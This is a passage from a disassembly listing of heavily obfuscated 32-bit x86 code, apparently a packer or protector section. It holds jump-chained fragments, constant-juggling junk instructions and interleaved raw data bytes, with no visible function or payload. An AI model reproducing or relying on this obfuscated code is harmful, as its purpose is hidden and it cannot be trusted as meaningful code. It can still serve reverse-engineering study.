		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1202A3Eh
		mov	eax, esi
		pop	esi
		xor	eax, 54AF01B9h
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_58F5A8
; ---------------------------------------------------------------------------


loc_58BA8C:				; CODE XREF: sdfs____:00597FF2j
		dec	eax
		sub	eax, 18473C87h
		sub	eax, 0DC188D74h
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esi, 4
		push	esi
		jmp	loc_595E4F
; ---------------------------------------------------------------------------


loc_58BAA9:				; CODE XREF: sdfs____:00598A53j
		push	dword ptr [esp+4]
		jmp	loc_591BBF
; ---------------------------------------------------------------------------


loc_58BAB2:				; CODE XREF: sdfs____:00592145j
		sub	ecx, 3EEF7D3h
		mov	eax, ecx
		pop	ecx
		add	esi, eax
		jmp	loc_58D043
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8950240Ch, 0BC7FE9E0h, 5C290000h, 32E90424h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BAD7:				; CODE XREF: sdfs____:00593738j
		sub	esp, 4
		jmp	loc_592163
; ---------------------------------------------------------------------------


loc_58BADF:				; CODE XREF: sdfs____:0058E7A9j
					; sdfs____:00591677j
		add	esp, 4
		push	eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		jmp	loc_58F3C1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 59042474h, 5C24048Fh, 53241489h, 64E981B7h
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BB0F:				; CODE XREF: sdfs____:005972F6j
		sub	ebp, 7203998Eh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_590007
; ---------------------------------------------------------------------------


loc_58BB1D:				; CODE XREF: sdfs____:loc_58D06Ej
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_59113D
; ---------------------------------------------------------------------------


loc_58BB2D:				; CODE XREF: sdfs____:00590F6Dj
		push	ecx
		mov	ecx, 61BB10A7h
		jmp	loc_593B51
; ---------------------------------------------------------------------------


loc_58BB38:				; CODE XREF: sdfs____:00590841j
		add	esp, 4
		jmp	loc_58BF0D
; ---------------------------------------------------------------------------


loc_58BB40:				; CODE XREF: sdfs____:0059047Fj
					; sdfs____:00598535j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_592193
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 83000000h, 3C3304EFh, 243C3124h, 9D74E9h
		db 0
; ---------------------------------------------------------------------------


loc_58BB69:				; CODE XREF: sdfs____:0059492Ej
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_58E49D
; ---------------------------------------------------------------------------
		db 0F7h
		dd 31E9D1D1h, 0ADF2E9D1h, 77FF0000h, 2434FF3Ch,	8124048Bh
		dd 4C4h, 0EC835300h, 39E95404h,	8100003Ah, 3DCF29C1h, 59CB89FDh
		dd 16BE9h
		db 0
; ---------------------------------------------------------------------------


loc_58BBAD:				; CODE XREF: sdfs____:00595313j
		mov	esp, [esp]
		sub	ebx, eax
		push	119Dh
		mov	[esp], ecx
		jmp	loc_596083
; ---------------------------------------------------------------------------
		dd offset dword_567D48+420h
		align 4
		dd offset dword_49005C+1748Dh
		dd 0D831AD00h, 0D9B95153h, 0E9013833h, 1E90h
; ---------------------------------------------------------------------------


loc_58BBD8:				; CODE XREF: sdfs____:0058FEC5j
		pop	ebp
		jmp	loc_59369D
; ---------------------------------------------------------------------------
		dw 18BBh
		dd 0F718405Ch, 17E381DBh, 0C1767600h, 0B4E906EBh
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BBF3:				; CODE XREF: sdfs____:00594E55j
		sub	bl, 90h
		mov	cx, [esp]
		jmp	loc_598BB8
; ---------------------------------------------------------------------------


loc_58BBFF:				; CODE XREF: sdfs____:0058D0C3j
		mov	[esp], ebx
		mov	bh, dl
		jmp	loc_590A97
; ---------------------------------------------------------------------------


loc_58BC09:				; CODE XREF: sdfs____:loc_58F004j
					; sdfs____:00594803j
		push	cx
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 6Eh
		dd 816D7A4Fh, 0F40C99CFh, 0F3E94F61h, 81000082h, 0AF5353EAh
		dd 0C7890F59h, 8100001Bh, 0C973E8EAh, 0AF2AE96Bh, 0C4880000h
		dd 5CB9515Eh, 0E954E813h, 7631h, 0BE06E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BC4E:				; CODE XREF: sdfs____:005959ABj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_592B64
; ---------------------------------------------------------------------------


loc_58BC5C:				; CODE XREF: sdfs____:0058D37Fj
					; sdfs____:005981D7j
		sub	eax, 45CD6C30h
		add	eax, ebp
		add	eax, 45CD6C30h
		add	eax, 6EC72A4Eh
		push	ebp
		mov	ebp, 68D67C15h
		neg	ebp
		xor	ebp, 0BC93873h
		jmp	loc_5946AD
; ---------------------------------------------------------------------------
a_iS		db '_‰Áé¿',0Dh,0
		align 4


loc_58BC88:				; CODE XREF: sdfs____:00595107j
		mov	cl, 0BDh
		or	cl, 40h
		add	cl, 85h
		sub	bl, cl
		pop	ecx
		sub	cl, bl
		pop	ebx
		add	bl, cl
		pop	ecx
		add	bl, al
		sub	bl, 0D7h
		push	ax
		push	ebx
		jmp	loc_5901E5
; ---------------------------------------------------------------------------
		dw 8B66h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_593AE7
; ---------------------------------------------------------------------------


loc_58BCBE:				; CODE XREF: sdfs____:0059105Bj
		mov	ebp, esp
		push	ebx
		jmp	loc_5979D5
; ---------------------------------------------------------------------------


loc_58BCC6:				; CODE XREF: sdfs____:0058D22Cj
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_591827
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0B60FC330h, 148B66C0h, 50CC6824h, 3C890000h,	565F5424h
		dd 4EC81h, 0DAE90000h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BCF7:				; CODE XREF: sdfs____:005938DDj
		pop	edx
		push	2300h
		mov	[esp], ecx
		jmp	loc_58DB70
; ---------------------------------------------------------------------------


loc_58BD05:				; CODE XREF: sdfs____:00591E0Aj
		add	ebp, 24B65324h
		sub	eax, ebp
		pop	ebp
		jmp	loc_590EE3
; ---------------------------------------------------------------------------


loc_58BD13:				; CODE XREF: sdfs____:0058E439j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		dd 1C8BD801h, 4C48124h,	0E9000000h, 5A1Eh
; ---------------------------------------------------------------------------


loc_58BD28:				; CODE XREF: sdfs____:005976F9j
		push	ax
		jmp	loc_597959
; ---------------------------------------------------------------------------


loc_58BD2F:				; CODE XREF: sdfs____:0059568Dj
					; sdfs____:00598801j
		mov	ecx, 55762DA8h
		shr	ecx, 2
		shl	ecx, 7
		and	ecx, 3D434192h
		xor	ecx, 364864D2h
		xor	ecx, 1A55A8Ch
		add	ecx, 0E453C0A4h
		jmp	loc_5924CA
; ---------------------------------------------------------------------------


loc_58BD57:				; CODE XREF: sdfs____:00593A3Fj
		shl	ebx, 5
		push	edx
		mov	edx, 671E7C0Ah
		sub	edx, 815347DCh
		add	ebx, edx
		pop	edx
		push	15ECh
		jmp	loc_593CFF
; ---------------------------------------------------------------------------


loc_58BD73:				; CODE XREF: sdfs____:00593FD7j
		mov	ebx, [esp]
		jmp	loc_59875C
; ---------------------------------------------------------------------------
		db 5
		dd 7C370BF0h, 0E924348Bh, 26D4h
; ---------------------------------------------------------------------------


loc_58BD88:				; CODE XREF: sdfs____:00590814j
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		not	eax
		xchg	eax, ecx
		shl	ecx, 1
		shr	ecx, 4
		jnz	loc_5911D2
		add	ecx, 5ABACD44h
		jmp	loc_591218
; ---------------------------------------------------------------------------
		db 1
		db 0FAh, 5Fh
; ---------------------------------------------------------------------------


loc_58BDAA:				; CODE XREF: sdfs____:0058E4DDj
		push	ebp
		mov	ebp, 3E597BDFh
		xor	ecx, ebp
		pop	ebp
		jmp	loc_597DBB
; ---------------------------------------------------------------------------
		dd 8B241433h, 8B662424h, 89502404h, 405E0h, 0E9530000h
		dd 32CFh, 1005F801h, 5F1B6066h,	5C240487h, 0C8B60F66h
		dd 5AFB6866h, 240C8966h, 0BC8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_58BDED:				; CODE XREF: sdfs____:0058EA45j
		mov	ecx, 2
		jmp	loc_590F46
; ---------------------------------------------------------------------------
		db 5
		dd 251A0BF9h, 0F92DD801h, 5251A0Bh, 74064C17h, 0B421E9h
		db 0
; ---------------------------------------------------------------------------


loc_58BE0D:				; CODE XREF: sdfs____:0058FFDAj
		and	eax, ecx
		jmp	loc_58CDA6
; ---------------------------------------------------------------------------
		dd 515EF231h, 0B76879B9h, 0F3C98141h, 8109750Eh, 4154EF1h
		dd 59CB015Ch, 0BE56D301h, 15F37BB5h, 5A5EF329h,	8704C383h
		dd 65E9241Ch
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BE43:				; CODE XREF: sdfs____:00593297j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5954AA
; ---------------------------------------------------------------------------
		dd 3F9BBE56h, 0CE814425h, 36FF23AEh, 0C3EE814Eh, 0E913F97Ch
		dd 7725h
; ---------------------------------------------------------------------------


loc_58BE78:				; CODE XREF: sdfs____:00597E80j
		mov	[esp], eax
		jmp	loc_58E92A
; ---------------------------------------------------------------------------
		dd 890FEBD1h, 6D76h, 0AA9FC381h, 0C9E9DCEAh, 58000025h
		dd 7D8C0F45h, 81000092h, 7711B7C5h, 0C398E942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BEA6:				; CODE XREF: sdfs____:00597A73j
		push	ecx
		mov	ch, 2Eh
		jmp	loc_595DAB
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 270446E5h, 5CE7E9h
		db 0
; ---------------------------------------------------------------------------


loc_58BEB9:				; CODE XREF: sdfs____:0058DE22j
					; sdfs____:0058F00Aj
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 80000000h,	0E95FEDh
		db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BECF:				; CODE XREF: sdfs____:00595C1Aj
		add	esp, 4
		jmp	loc_58D9EF
; ---------------------------------------------------------------------------
		db 56h
		dd 76F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_58BEDD:				; CODE XREF: sdfs____:00590821j
		sub	esi, 0FF32AED7h
		jmp	loc_58DEF6
; ---------------------------------------------------------------------------
		dd 0E9243C33h, 4503h
; ---------------------------------------------------------------------------


loc_58BEF0:				; CODE XREF: sdfs____:0058F857j
		mov	eax, 44B05316h
		add	ecx, eax
		pop	eax
		sub	ecx, 516C0E4Eh
		mov	edx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5987BC
; ---------------------------------------------------------------------------


loc_58BF0D:				; CODE XREF: sdfs____:0058BB3Bj
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5938C6
; ---------------------------------------------------------------------------


loc_58BF1E:				; CODE XREF: sdfs____:00591F6Dj
		sub	esi, eax
		jmp	loc_597FCE
; ---------------------------------------------------------------------------


loc_58BF25:				; CODE XREF: sdfs____:loc_596153j
		sub	bl, 0D0h
		jmp	loc_58FDBC
; ---------------------------------------------------------------------------
aB2tSg6		db '-¡2â/éƒ6',0
		db 0
; ---------------------------------------------------------------------------


loc_58BF37:				; CODE XREF: sdfs____:00591283j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	esi
		push	eax
		push	248F4B88h
		pop	eax
		not	eax
		push	ebp
		jmp	loc_58D16E
; ---------------------------------------------------------------------------
		db 1, 0CFh, 59h
		dd 8B243C87h, 0CD22424h, 0F8E99C24h, 660000C8h,	6824048Bh
		dd 1895h, 0E9240C89h, 3D44h
; ---------------------------------------------------------------------------


loc_58BF78:				; CODE XREF: sdfs____:00593FE5j
		push	1A7Fh
		mov	[esp], ebx
		mov	bl, dl
		push	eax
		mov	ah, bl
		jmp	loc_597CC6
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 42701803h, 4EECE9h
		db 0
; ---------------------------------------------------------------------------


loc_58BF95:				; CODE XREF: sdfs____:005944ACj
		not	ebp
		add	ebp, 0FFFFFFFFh
		shr	ebp, 6
		push	esi
		jmp	loc_58E890
; ---------------------------------------------------------------------------


loc_58BFA6:				; CODE XREF: sdfs____:00591765j
		push	7B8Bh
		jmp	loc_59736F
; ---------------------------------------------------------------------------
		dd 0CDFE04B5h, 0E901CD80h, 6EC7h
; ---------------------------------------------------------------------------


loc_58BFBC:				; CODE XREF: sdfs____:0059285Fj
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 10h
		jmp	loc_591759
; ---------------------------------------------------------------------------


loc_58BFD0:				; CODE XREF: sdfs____:00593598j
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_597E7B
; ---------------------------------------------------------------------------
		db 46h
		dd 0AD08EE81h, 0F0291B67h, 6A39E95Eh, 8B660000h, 0E9682404h
		dd 89000048h, 0FF54243Ch, 3C8B2434h, 19ABE924h,	0C5800000h
		dd 3A4BE9BBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C00A:				; CODE XREF: sdfs____:005969ECj
		mov	edi, 40166B81h
		jmp	loc_5987DF
; ---------------------------------------------------------------------------


loc_58C014:				; CODE XREF: sdfs____:0059635Dj
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_591423
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 0BF80E900h, 545C0000h,	8124048Fh, 42404h, 348B0000h
		dd 4C48124h, 81000000h,	4C6h, 2B95100h,	81000000h, 254EE0EEh
		dd 9E3EE963h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C05E:				; CODE XREF: sdfs____:loc_597B84j
		push	ecx
		mov	ecx, 25283AF8h
		and	ecx, 6AA7D6Ah
		push	edx
		mov	edx, 7307077Ch
		jmp	loc_58DBCB
; ---------------------------------------------------------------------------


loc_58C075:				; CODE XREF: sdfs____:0058DE59j
		not	edi
		shl	edi, 4
		jmp	loc_597571
; ---------------------------------------------------------------------------
		db 89h
		dd 0C2E92414h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C087:				; CODE XREF: sdfs____:00591D06j
		mov	esi, ebp
		pop	ebp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_59842A
; ---------------------------------------------------------------------------


loc_58C095:				; CODE XREF: sdfs____:0059668Dj
		pop	edx
		jmp	loc_596DB3
; ---------------------------------------------------------------------------
		db 81h
		dd 865FA3EAh, 0D0315E30h, 8324148Bh, 0C20104C4h, 8324048Bh
		dd 0B95104C4h, 2, 4214C281h, 0BDE93F56h, 5D000067h, 225068h
		dd 24148900h, 1B242C81h, 8B18C442h, 0C481243Ch,	4, 9B0CE956h
		dd 49B90000h, 572F634Ah, 0F372E4BFh, 84FCE920h,	34FF0000h
		dd 0EC835924h, 241C8904h, 241C8B54h, 4C481h, 0BE560000h
		dd 65560DC8h, 0BD55464Eh, 65560DC4h, 2299E9h
		db 0
; ---------------------------------------------------------------------------


loc_58C119:				; CODE XREF: sdfs____:0058FFA2j
		mov	edx, esp
		jmp	loc_59467D
; ---------------------------------------------------------------------------


loc_58C120:				; CODE XREF: sdfs____:005907CBj
		mov	edi, 2791773Ch
		sub	eax, edi
		pop	edi
		add	eax, edi
		add	eax, 2791773Ch
		mov	edi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_595710
; ---------------------------------------------------------------------------
		dw 875Fh
		dd 0F5C2404h, 0EFE9C8AFh, 80000060h, 50664DC3h,	0E330EEB4h
		dd 24048B66h, 8002C483h, 0D800DEEBh, 0C1D3E9h, 0D830AC00h
		dd 4EC81h, 3EE90000h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C173:				; CODE XREF: sdfs____:loc_5967C4j
		add	ebp, 17822F08h
		mov	edx, ebp
		pop	ebp
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_59388A
; ---------------------------------------------------------------------------


loc_58C186:				; CODE XREF: sdfs____:0059190Fj
		mov	dh, al


loc_58C188:				; DATA XREF: sdfs____:0058EF22o
		mov	[ecx], dh
		pop	edx
		pop	ecx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 68h,	56h, 21h
		dd 3C890000h, 73DEBF24h, 7C0159D0h, 3C8B0424h, 4C48124h
		dd 81000000h, 6EA82404h, 4016A74h, 0A8BE5624h, 296A746Eh
		dd 8B042474h, 0EBE92434h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58C1C7:				; CODE XREF: sdfs____:0058EE4Bj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_593169
; ---------------------------------------------------------------------------
		dd 405h, 40500h, 4870000h, 0D9685C24h, 8900007Bh, 4BA2414h
		dd 0E9000000h, 5C4Ch
; ---------------------------------------------------------------------------


loc_58C1F4:				; CODE XREF: sdfs____:0058EEFEj
		and	eax, ebp
		pop	ebp
		jmp	loc_5972D9
; ---------------------------------------------------------------------------
aWs4		db 'Wé4º',0
		align 2


loc_58C202:				; CODE XREF: sdfs____:005958D8j
		mov	[esp], ebp
		push	esi
		push	24851CFEh
		pop	esi
		sub	esi, 89B6B45h
		neg	esi
		jbe	loc_59711C
		sub	esi, 0D7E93F75h
		mov	ebp, esi
		jmp	loc_58D9D1
; ---------------------------------------------------------------------------
		db 5Fh
		dd 24048B66h, 1DBF68h, 20E3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C236:				; CODE XREF: sdfs____:00593F8Fj
		sub	ebp, 0E2D54FA6h
		add	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 33DD007Dh
		jmp	loc_58FEB6
; ---------------------------------------------------------------------------


loc_58C24A:				; CODE XREF: sdfs____:0058CD5Ej
		xor	ecx, 1CD7822h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 16B07DDFh
		push	edx
		mov	edx, 45EE4BC5h
		add	edx, 0DC3315AAh
		add	ebp, 54AD2B2Ah
		add	ebp, edx
		sub	ebp, 54AD2B2Ah
		pop	edx
		push	ebx
		push	eax
		mov	eax, 4CE12C7Ah
		jmp	loc_58C7D0
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 5297h
; ---------------------------------------------------------------------------


loc_58C294:				; CODE XREF: sdfs____:loc_58DFF8j
		not	edi
		xor	edi, 0FD89C43Bh
		jmp	loc_58DF0B
; ---------------------------------------------------------------------------
		db 0BDh, 0E5h, 6Dh
		dd 0B85039BCh, 7F0C1CAFh, 0E0C1D8F7h, 49E53505h, 0A6E91B7Ah
		dd 100009Ch, 0F0295AD0h, 483CBE56h, 0E6C121D9h,	0C58E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C2CE:				; CODE XREF: sdfs____:0058FD05j
		push	edx
		mov	edx, 4DC56057h
		mov	ecx, 5A05BF4Ch
		jmp	loc_593344
; ---------------------------------------------------------------------------
		dw 0C780h
		dd 0FFFA8809h, 835B2434h, 0D02804C4h, 5A2434FFh, 4C481h
		dd 0D8280000h, 1359E9h,	60C78100h, 1684E79h, 60EF81D7h
		dd 0E9684E79h, 789h
; ---------------------------------------------------------------------------


loc_58C310:				; CODE XREF: sdfs____:00590942j
		pop	eax
		xor	edx, 1A33A6Fh
		jmp	loc_5920A6
; ---------------------------------------------------------------------------
		dd 52AE9h
		db 0
; ---------------------------------------------------------------------------


loc_58C321:				; CODE XREF: sdfs____:00596874j
		add	esp, 4


loc_58C324:				; DATA XREF: sdfs____:005A116Eo
		xor	edx, 7EFD60C9h
		jl	loc_595C55
		jmp	loc_58DB1C
; ---------------------------------------------------------------------------
		db 1, 0CAh, 59h
		dd 0BDBEE9h, 0C7815B00h, 4C3A394Bh, 0B12FC781h,	0FE01AEC5h
		dd 4EE815Fh, 87000000h,	248B2434h, 1273E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C35E:				; CODE XREF: sdfs____:0058DBC6j
		xor	[esp], eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58C367:				; CODE XREF: sdfs____:00596554j
					; sdfs____:00596DF4j
		and	esi, 5F7A5AE0h
		push	ecx
		jmp	loc_58F345
; ---------------------------------------------------------------------------


loc_58C373:				; CODE XREF: sdfs____:0058D458j
		mov	ebx, ebp
		jmp	loc_58D47F
; ---------------------------------------------------------------------------


loc_58C37A:				; CODE XREF: sdfs____:0058DB40j
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_5912CC
; ---------------------------------------------------------------------------
		db 51h
		dd 63433168h, 0E981590Ch, 0C63432Dh, 0FFFF9CE9h, 240489FFh
		dd 0E904EC83h, 373Ch, 1AE9028Fh, 0E9FFFFF6h, 0FFFFFC2Bh
; ---------------------------------------------------------------------------


loc_58C3B0:				; CODE XREF: sdfs____:00594270j
		shl	bh, 4
		js	loc_59339E
		push	edx
		mov	dl, 0FAh
		push	cx
		mov	ch, dl
		not	ch
		push	eax
		push	ebx
		mov	bl, ch
		mov	ah, bl
		pop	ebx
		mov	dl, ah
		pop	eax
		pop	cx
		xor	dl, 57h
		not	dl
		sub	dl, 0C0h
		or	bh, dl
		pop	edx
		jmp	loc_58E41C
; ---------------------------------------------------------------------------


loc_58C3DE:				; CODE XREF: sdfs____:0058E3ADj
		push	ecx
		push	36D9h
		mov	[esp], esi
		jmp	loc_5930A1
; ---------------------------------------------------------------------------


loc_58C3EC:				; CODE XREF: sdfs____:00596632j
		push	348E7520h
		jmp	loc_58D630
; ---------------------------------------------------------------------------


loc_58C3F6:				; CODE XREF: sdfs____:00593B52j
		shl	ecx, 4
		jmp	loc_5906C3
; ---------------------------------------------------------------------------


loc_58C3FE:				; CODE XREF: sdfs____:00591A54j
					; sdfs____:005927A3j
		push	298Eh
		mov	[esp], edi
		mov	edi, 69B91BE0h
		add	edi, 26FC5E57h
		shr	edi, 1
		jmp	loc_593DE7
; ---------------------------------------------------------------------------


loc_58C418:				; CODE XREF: sdfs____:00597F5Aj
		add	esp, 4
		jmp	loc_590C75
; ---------------------------------------------------------------------------
		dd 8388E9h, 0F5885100h,	0BEE9EB88h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C42F:				; CODE XREF: sdfs____:00590FA2j
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5955B1
; ---------------------------------------------------------------------------


loc_58C43E:				; CODE XREF: sdfs____:00590D40j
		push	edi
		push	edx
		mov	edx, 1BCA76E5h
		push	edi
		mov	edi, 6DB2977h
		add	edx, edi
		pop	edi
		shr	edx, 1
		dec	edx
		dec	edx
		xor	edx, 351DACCBh
		mov	edi, edx
		pop	edx
		jmp	loc_596487
; ---------------------------------------------------------------------------
		dd 4BF57h, 0F9010000h, 5F2434FFh, 5204C483h, 2E14E9h, 0D0295900h
		dd 5A2434FFh, 0E904C483h, 1BD4h, 9F5F752Dh, 692B2D44h
		dd 148B53A4h, 4C48124h,	56000000h, 1352DBBEh, 4381685Bh
		dd 34890000h, 0D8E95124h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C4AB:				; CODE XREF: sdfs____:0059649Cj
		pop	edi
		add	ecx, eax
		sub	ecx, 57BC6742h
		jmp	loc_5972FB
; ---------------------------------------------------------------------------


loc_58C4B9:				; CODE XREF: sdfs____:00594A98j
		sub	eax, 725E46A3h
		push	esi
		mov	esi, 3B62B0Eh
		sub	eax, esi
		pop	esi
		pop	edx
		push	esi
		mov	esi, 248079C7h
		add	edx, esi
		jmp	loc_59170D
; ---------------------------------------------------------------------------
aBQkS9d		db 'ߪêÜé9„',0
		align 10h
		dd 4EC81h, 0A4E90000h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C4EB:				; CODE XREF: sdfs____:0059372Bj
		pop	edi
		inc	ebp
		add	ebp, 6B184E0Eh
		xor	ebp, 65E21C1Eh
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, 602DEE39h
		add	ecx, esi
		pop	esi
		sub	ecx, 4876269h
		shr	ecx, 5
		push	edx
		mov	edx, 59E87C41h
		dec	edx
		xor	edx, 0EAECCF44h
		jmp	loc_58FFE7
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 2B1CB924h, 24E97485h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C53B:				; CODE XREF: sdfs____:00592EE3j
		pop	ebx
		add	eax, ecx
		pop	ecx
		sub	eax, 1464A3Bh
		jmp	loc_59162E
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0D324248Bh, 0E99C242Ch, 0FFFFF46Dh, 86BA5250h, 0E978721Fh
		dd 48DBh, 0FFED835Ah, 16B6ED81h, 0B951377Ch, 23395365h
		dd 4D24E9h, 44A60500h, 0BB531DA9h, 1CA79C1h, 2428C381h
		dd 0F38157C9h, 7A2B7D52h, 922EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58C595:				; CODE XREF: sdfs____:0058F63Bj
		push	eax
		mov	eax, esp
		push	edx
		push	edi
		mov	edi, 1B922D22h
		add	edi, 1E6C7B02h
		jo	loc_592FBB
		inc	edi
		js	loc_58F30E
		push	edx
		jmp	loc_58FBF1
; ---------------------------------------------------------------------------


loc_58C5B8:				; CODE XREF: sdfs____:00594D3Bj
		pop	ebx
		pop	ebp
		jmp	loc_5921AF
; ---------------------------------------------------------------------------
aSX		db '[éÜ•',0
		dd 48B6600h, 0E6895624h, 4C681h, 21680000h, 89000003h
		dd 0BA52243Ch, 2172250Dh, 8DDAF5BFh, 0C8B850DEh, 1479D77h
		dd 0AE958C7h, 0F7FFFFFDh, 3EFC1D7h, 0B2378A0Fh,	85E90000h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C603:				; CODE XREF: sdfs____:005968A5j
		mov	esi, eax
		pop	eax
		sub	esi, 0FD6BC6C9h
		not	esi
		jmp	loc_59897C
; ---------------------------------------------------------------------------


loc_58C613:				; CODE XREF: sdfs____:0058DB1Dj
		not	edx
		inc	edx
		xor	edx, 8189BB91h
		jmp	loc_5938DB
; ---------------------------------------------------------------------------


loc_58C621:				; CODE XREF: sdfs____:005949D4j
		mov	ecx, [esp]
		jmp	loc_593F82
; ---------------------------------------------------------------------------


loc_58C629:				; CODE XREF: sdfs____:0058DDADj
		jmp	loc_59252F
; ---------------------------------------------------------------------------


loc_58C62E:				; CODE XREF: sdfs____:loc_59792Dj
		xor	edi, 9441CAA7h
		mov	esi, edi
		pop	edi
		jmp	loc_591AD9
; ---------------------------------------------------------------------------
		dd 8E6C059h, 0F680E6D0h, 5AF00007h, 8E22E9h
		db 0
; ---------------------------------------------------------------------------


loc_58C64D:				; CODE XREF: sdfs____:005976CDj
		xchg	ebp, [esp]
		mov	esp, [esp]
		retn
; ---------------------------------------------------------------------------
		dd 2466E9h, 3CE95500h, 0BE00003Ch, 21776E33h, 7378BF57h
		dd 0EFC165CBh, 42C78102h, 3107BD39h, 0C2815FFEh, 30865FA3h
		dd 18E9F201h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C683:				; CODE XREF: sdfs____:0059801Aj
		sub	al, 31h
		add	ch, al
		jmp	loc_5963B6
; ---------------------------------------------------------------------------
		dd 0C5E9DEF7h, 680000C3h, 397149E5h, 0CEF6815Eh, 81507353h
		dd 41907E6h, 81DEF76Ah,	0C15618F6h, 5EF0896Ch, 1936E9h
		dd 0E10E900h, 5DBD0000h, 548517Ch, 23E36FCh, 4468D405h
		dd 2DE8296Ah, 6A4468D4h, 246857h, 9AE90000h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C6DB:				; CODE XREF: sdfs____:00591802j
		mov	ax, di
		mov	edi, [esp]
		add	esp, 4
		sub	bx, 3ADBh
		sub	bx, ax
		add	bx, 3ADBh
		mov	ax, [esp]
		jmp	loc_590E32
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 2013E9h, 8DF28000h, 0FCDC280h, 598E87h, 0E9D2F600h
		dd 0A341h, 0FD02E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C71E:				; CODE XREF: sdfs____:0058EAC5j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		jmp	loc_597234
; ---------------------------------------------------------------------------


loc_58C734:				; CODE XREF: sdfs____:00598425j
		shr	ebx, 6
		neg	ebx
		or	ebx, 28954C10h
		jmp	loc_590631
; ---------------------------------------------------------------------------


loc_58C744:				; CODE XREF: sdfs____:005943E4j
		sub	edi, 1F1084D7h
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_595643
; ---------------------------------------------------------------------------


